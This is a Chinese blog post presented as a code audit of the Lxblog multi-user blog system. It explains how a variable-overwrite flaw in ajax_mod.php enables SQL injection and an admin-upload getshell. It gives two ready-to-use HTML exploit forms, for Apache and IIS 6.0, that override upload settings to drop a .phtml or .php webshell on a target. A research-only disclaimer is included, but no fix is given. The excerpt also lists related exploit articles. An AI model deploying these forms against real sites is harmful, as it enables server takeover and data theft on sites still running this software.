网络优化

代码审计:Lxblog博客系统变量覆盖导致注入Getshell

2019年09月12日 热度:350 ℃

废话:
lxblog是www.phpwind.net开发的多人博客系统,现在好像已经停止更新了!
声明:
本文只做技术研究,请勿非法使用,一起后果与本人无关!

正文:

关键文件:/mod/ajax_mod.php

if (!empty($_POST)) { 
  $_POST = Char_cv($_POST); 
  if ($db_charset != 'utf-8') { 
    require_once(R_P.'mod/charset_mod.php'); 
    foreach ($_POST as $key => $value) { 
      ${'utf8_'.$key} = $value; 
      ${$key} = convert_charset('utf-8',$db_charset,$value); 
    } 
  } else { 
    foreach ($_POST as $key => $value) { 
      ${'utf8_'.$key} = ${$key} = $value; //变量覆盖了 
    } 
  } 
}

变量覆盖导致注入漏洞

重点文件:/ajax.php


if ($action=='vote') { 
  !$winduid && exit('not_login');//变量覆盖绕过 
  (int)$votenum < 1 && exit('erro_voteid');//变量覆盖绕过 
  $voteitem = array(); 
  $query = $db->query("SELECT id,voteduid FROM pw_voteitem WHERE vid='$vid'");//漏洞来了,进入query()函数 
  while ($rt = $db->fetch_array($query)) { 
    strpos(",$rt[voteduid],",",$winduid,")!==false && exit('have_voted'); 
    $voteitem[$rt['id']] = $rt['voteduid']; 
  }

漏洞文件:/mod/db_mysql.php

www.it165.net
function query($SQL,$method=''){//覆盖變量 $GLOBALS['PW'] 形成注入 
    $GLOBALS['PW']!='pw_' && $SQL = str_replace(' pw_',' '.$GLOBALS['PW'],$SQL); 
    $query = ($method=='U_B' && function_exists('mysql_unbuffered_query')) ? @mysql_unbuffered_query($SQL) : @mysql_query($SQL); 
    $this->query_num++; 
    !$query && $this->halt('Query Error: ' . $SQL); 
    return $query; 
  }

exp:


 

变量覆盖导致后台getshell

重點文件:/ajaxadmin.php

 

..... 
require_once(R_P.'admin/admincp.php'); 
require_once(R_P.'mod/ajax_mod.php');//變量覆蓋了 
.... 

} elseif ($action=='upload') { 
  if ($job == 'add') { 
InitGP(array('uid','mode'),'G');//$uid=1.phtml. 
    $db_uploadmaxsize = $_GET['db_uploadmaxsize'];//db_uploadmaxsize=10000 
    $db_uploadfiletype = $_GET['db_uploadfiletype'];//db_uploadfiletype=aaa 
    $db_attachnum = $_GET['db_attachnum'];//db_attachnum=1 
    require_once(R_P.'mod/upload_mod.php'); 
    $uploaddb = UploadSQL($uid,0,0,'',$mode);//進入上傳,$mode= 
    foreach ($uploaddb as $value) { 
      $aid = $value['aid']; 
      $name = $value['name']; 
      $size = $value['size']; 
      $desc = $value['desc']; 
      $url = "$attachpath/$value[attachurl]"; 
      break; 
    } 
    echo "<script language=\&;JavaScript1.2\&;>parent.UploadFileResponse('$mode','$aid','$size','$desc','$name','$url');</script>";exit; 
  } 
...... 

function UploadSQL($uid,$itemid,$cid=0,$atype = null,$mode = null){ 
  global $db,$attachdb,$timestamp,$atc_content; 
  $uploaddb = !empty($_FILES) ? UploadFile($uid,$mode) : array();//進入uploadfile函數 
   
...... 

function UploadFile($uid,$mode = null){ 
  global $_GROUP,$db,$admin_uid,$db_attachnum,$db_uploadmaxsize,$db_uploadfiletype,$timestamp,$db_attachdir,$attachpath,$attachdir,$db_thumbifopen,$db_thumbwh; 
  $filedb = $attachdb = $descdb = array(); 
  foreach ($_FILES as $key => $value) { 
    $i = (int)substr($key,11); 
    if (!empty($mode) && $i != $mode) continue; 
    $tmp_name = is_array($value) ? $value['tmp_name'] : ${$key}; 
    $descdb[$key] = Char_cv($_POST['atc_desc'.$i]); 
    $tagdb[$key] = Char_cv($_POST['atc_tags'.$i]); 
    $i > 0 && $i <= $db_attachnum && if_uploaded_file($tmp_name) && $filedb[$key] = $value; 
  } 
  unset($_FILES); 
  foreach ($filedb as $key => $value) { 
    $i = (int)substr($key,11); 
    if (is_array($value)) { 
      $atc_attachment = $value['tmp_name']; 
      $atc_attachment_name = $value['name']; 
      $atc_attachment_size = $value['size']; 
    } else { 
      $atc_attachment = ${$key}; 
      $atc_attachment_name = ${$key.'_name'}; 
      $atc_attachment_size = ${$key.'_size'}; 
    } 
    $atc_attachment_size > $db_uploadmaxsize && Uploadmsg('upload_size_error',$i); 
    @extract($db->get_one("SELECT SUM(size) AS tsizes FROM pw_upload WHERE uid='$admin_uid'")); 
    $_GROUP['uploadsize'] && $tsizes >= $_GROUP['uploadsize'] && Uploadmsg('upload_size_limit',$i); 
    $extdb = explode(' ',strtolower($db_uploadfiletype)); 
    $attach_ext = strtolower(substr(strrchr($atc_attachment_name,'.'),1)); 
    (!$attach_ext || !N_InArray($attach_ext,$extdb)) && Uploadmsg('upload_type_error',$i); 
    $attach_ext = preg_replace("/(php|asp|jsp|cgi|fcgi|exe|pl|phtml|dll|asa|com|scr|inf)/i","scp_\\1",$attach_ext); 
    $randvar = substr(md5($timestamp+$i),10,15); 
    $fileurl = "{$uid}_{$randvar}";//上傳鏈接 
    if ($attachdir == R_P.$attachpath) { 
      $savedir = ''; 
       
......

然後我們可愛的webshell就上傳上去了

exp:
适用于apache


<html> 
<body> 

<form action="http://127.0.0.1/lxblog/ajaxadmin.php?action=upload&job=add&uid=1.phtml.&mode=&db_uploadmaxsize=10000&db_uploadfiletype=aaa&db_attachnum=1" method="post" 
enctype="multipart/form-data"> 
<label for="attachments1">Filename:</label> 
<input type="file" name="attachments1" id="attachments1" /> 
<br /> 
<input type="text" name="admin_uid" value="2" /> 
<br /> 
<input type="text" name="timestamp" value="a" /> 
<br /> 
<input type="text" name="attachdir" value="./"> 
<br /> 
<input type="submit" name="submit" value="1.phtml._b923820dcc509a6.aaa" /> 
</form> 

</body> 
</html>

适用于iis6.0


<html> 
<body> 

<form action="http://127.0.0.1/lxblog/ajaxadmin.php?action=upload&job=add&uid=1.php;.&mode=&db_uploadmaxsize=10000&db_uploadfiletype=aaa&db_attachnum=1" method="post" 
enctype="multipart/form-data"> 
<label for="attachments1">Filename:</label> 
<input type="file" name="attachments1" id="attachments1" /> 
<br /> 
<input type="text" name="admin_uid" value="2" /> 
<br /> 
<input type="text" name="timestamp" value="a" /> 
<br /> 
<input type="text" name="attachdir" value="./"> 
<br /> 
<input type="submit" name="submit" value="1.php;._b923820dcc509a6.aaa" /> 
</form> 

</body> 
</html>

都成功了:
 


 

最后的废话:
据说刚开的领域!
phpcms v9的补丁打的亮瞎了我的钛合金x眼!

 


 

分享给朋友:

相关文章

Nessus漏洞扫描教程之使用Nmap工具扫描识别指纹

Nessus漏洞扫描教程之使用Nmap工具扫描识别指纹

Nessus漏洞扫描教程之使用Nmap工具扫描识别指纹 Nmap工具的准备工作 当用户对Nessus工具有清晰的认识后,即可使用该工具实施扫描。但是,在扫描之前需要做一些准备工作,如...

jo:通过shell命令创建JSON

jo:通过shell命令创建JSON

我尝试损坏shell脚本来创建JSON。你可能已经在某些地方看过这个了: echo '{"name":"Jane"}' 如果一...

输入验证避免50%(只是经验值)以上的应用安全攻击

输入验证避免50%(只是经验值)以上的应用安全攻击

俗话说病从口入,可以说绝大多数的应用安全问题的源头都是由输入的入口引发,但是输入入口安全检测不能解决所有的潜在安全问题,原因很简单,那就是接收输入的数据时,接收者并不知道此数据用来做什么...

phpwind V9.0普通用户+CSRF=Getshell 0day

phpwind V9.0普通用户+CSRF=Getshell 0day

官网最新版本 V9.0版本的来测试~ 发现系统在解压应用安装包的时候是通过get来进行的 http://localhost/p/admin.php?m=appcenter&...

一些需要禁用的PHP危险函数(disable_functions)

一些需要禁用的PHP危险函数(disable_functions)

phpinfo() 功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 危险等级:中 passthru() 功能描述:允许执行一个外部程序并回显输出,类似于 e...

将博CMS(JumboTCMS) V6代码审计总结

将博CMS(JumboTCMS) V6代码审计总结

鄙人学的软件测试专业,最近学校准备上这方面的课程了,于是想先找套ASP.NET开源CMS玩玩,百度了下,看到了将博CMS,人气还挺高的,跑到官网下载了6.0最新版的,NND,安装都安装不...

爱丽团购任意用户及评论删除漏洞及修复

爱丽团购任意用户及评论删除漏洞及修复

爱丽团购由于为验证用户权限,可删除任意用户地址信息。     测试环境:   攻击者:xfkxfk   受害者:tester &n...

网趣购物系统登陆任意账户Bug及修复(除后台管理外)

网趣购物系统登陆任意账户Bug及修复(除后台管理外)

碰到很多asp的购物站都是网趣内核改的,但无一列外的都存在这个漏洞,包括最新最旧版的网趣,比较鸡肋,没法获得webshell。但是危害还是比较大的,可以登陆和修改任意一个用户的密码。...

web安全浅析

web安全浅析

就之前本人主持开发的金融产品所遇到的安全问题,设计部分请参见:http://www.cnblogs.com/shenliang123/p/3835072.html 这里就部分web安全...

利用最新struts2远程执行命令渗透网站的演示

利用最新struts2远程执行命令渗透网站的演示

Struts是Apache基金会Jakarta项目组的一个开源项目,Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-...

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。
请先 登录 再评论,若不是会员请先 注册